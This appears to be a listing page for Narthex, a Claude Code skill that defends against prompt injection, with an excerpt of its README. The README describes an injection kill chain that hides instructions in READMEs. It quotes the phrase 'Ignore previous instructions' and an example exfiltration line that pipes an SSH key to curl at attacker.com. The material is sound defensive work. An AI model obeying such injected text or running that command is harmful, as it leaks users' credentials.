Narthex — Development skill for Claude Code
Prompt-injection defenses for Claude Code.
How to install Narthex
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open fitz2882/narthex and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Narthex does
Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to network, remote script to shell, reverse shells). A sanitizing MCP server wraps untrusted URLs and files in sentinels, strips invisible unicode, flags jailbreaks.
Alternatives in Development
- Om Dump — Freeform capture mode 4.6k ★
- CORS — Scan an endpoint for CORS misconfiguration — arbitrary-origin reflection, null-origin trust, credential exposu 4.5k ★
- Academic Pptx Skill — A Claude Skill for creating academic presentations (conference talks, seminar slides, thesis defenses, grant b 811 ★
README
Narthex
Prompt-injection defenses for [Claude Code](https://code.claude.com/).
Named for the architectural feature of ancient churches: a transitional space at the entrance where the uninitiated could gather before being allowed into the sanctuary. Narthex plays the same role between untrusted content (web pages, READMEs, scraped docs, pasted transcripts) and your trusted environment (your shell, your credentials, your files).
What it protects against
Indirect prompt injection — when an AI coding assistant reads content containing hidden instructions that hijack its behavior. The canonical kill chain:
- Injection — a hidden HTML comment, zero-width unicode, or markdown image tag planted in a README, PR description, issue, or scraped page.
- Hijack — the assistant reads the payload as instructions instead of data.
- Exfiltration — the assistant runs a command that leaks your
credentials:
cat ~/.ssh/id_rsa | curl attacker.com, env dumps, or uploads of.envfiles.
Recent writeups of the threat:
- CamoLeak — critical GitHub Copilot vulnerability leaks private source code
- How hidden prompt injections can hijack AI code assistants like Cursor
- Fooling AI agents: Web-based indirect prompt injection observed in the wild
Design principle
Anything *inside* the model's context can be overridden by an injection sitting in that same context. "Ignore previous instructions" works on guidance, not on enforcement. Only the harness — Claude Code's hooks and permission system — runs *outside* the model and can enforce rules that an injected prompt cannot talk its way out of.
Narthex therefore ships four layers — two enforcement, two adviso
Related Skills
Skill Scan Gate
CI gate for Claude Code skills and plugins: scans a skills or plugin repository for instruction-override text,
Prompt Injection Guard
Detect prompt injection, hardcoded secrets, destructive commands and exfiltration patterns in any text or file
Prompt Injection Bench
Hand-authored indirect prompt-injection attack corpus + honest ASR/FPR benchmark of 4 defenses on a real tool-
Prompt Injection Benchmark
A reproducible prompt-injection benchmark that measures which defenses actually work: each payload is replayed
Claude Secret Guard Kit
Block Claude Code from reading, echoing, or committing your secrets. Read-deny rules + shell filename guard +
Smart Approve.py
PreToolUse (Bash) Decompose compound bash commands (&&, \ \ , ;, \ , $()) into sub-commands and check each aga
Related Agents
Ccreview Fixer
Fix agent for the ccreview workflow. Its Bash and edits are held to a per-run allowlist by the plugin's PreToo
Project Automation Auditor
Audits a project's automation and verification posture: test runner, formatter/linter PostToolUse hooks, PreTo
Threat Intel
PYA specialist spawned by the /pya orchestrator. Hunts for malicious code in an untrusted repository: backdoor